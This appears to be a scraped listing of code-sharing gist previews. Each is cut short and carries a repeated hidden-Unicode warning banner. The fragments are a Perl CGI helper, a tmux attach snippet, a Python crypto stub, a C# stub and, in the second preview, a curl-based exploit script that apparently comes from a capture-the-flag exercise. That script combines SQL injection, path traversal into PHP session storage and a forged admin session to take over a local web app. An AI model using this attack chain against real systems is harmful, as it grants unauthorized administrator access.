This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
use strict; | |
use warnings; | |
use CGI; | |
use base 'Exporter'; | |
our @EXPORT = qw(handle tohex); | |
sub tohex { | |
my $s = shift; | |
$s =~ s/(.)/unpack("H*", $1) . " "/sge; | |
$s; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
TARGET_URL=http://localhost:10080 | |
PASSWORD='' | |
HASHED_PASSWORD=$(echo -n $PASSWORD | sha1sum | awk '{print $1}') | |
COOKIEFILE=$(mktemp) | |
SESSFILE=$(mktemp) | |
echo -n 'user|s:1:"a";admin|b:1;' > $SESSFILE | |
curl -s -c $COOKIEFILE "$TARGET_URL/login.php" -d "signin=&password=$PASSWORD&user=') AND 0 UNION SELECT '', '$HASHED_PASSWORD', '', 0 -- /../../../../../var/lib/php5/sess_" >/dev/null | |
curl -s -b $COOKIEFILE "$TARGET_URL/index.php?page=settings" -F "file=@$SESSFILE" >/dev/null |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if [[ ! -n "${TMUX-}" ]]; then | |
if tmux has-session; then | |
tmux attach-session || exit $? | |
exit 0 | |
else | |
tmux || exit $? | |
exit 0 | |
fi | |
fi |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import hashlib | |
PRIME = 10162817389166932304743927803664677577393035849460315554227038992256439669168822924924642681859165915398841119695331997622323074382673543580118593098794075768017359068156207668418577358758037040886636583057751950491466568754968161402970164774854422196808968101372380404300325099055524339557705423721707 | |
G = 1323857230486534278 | |
def get_salt(m): | |
for _ in range(1000): | |
m = hashlib.sha512(m).hexdigest() | |
return m |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Collections.Generic; | |
using System.Linq; | |
using System.Linq.Expressions; | |
using System.Reflection; | |
using System.Reflection.Emit; | |
namespace ConsoleApplication1 | |
{ | |
class Program |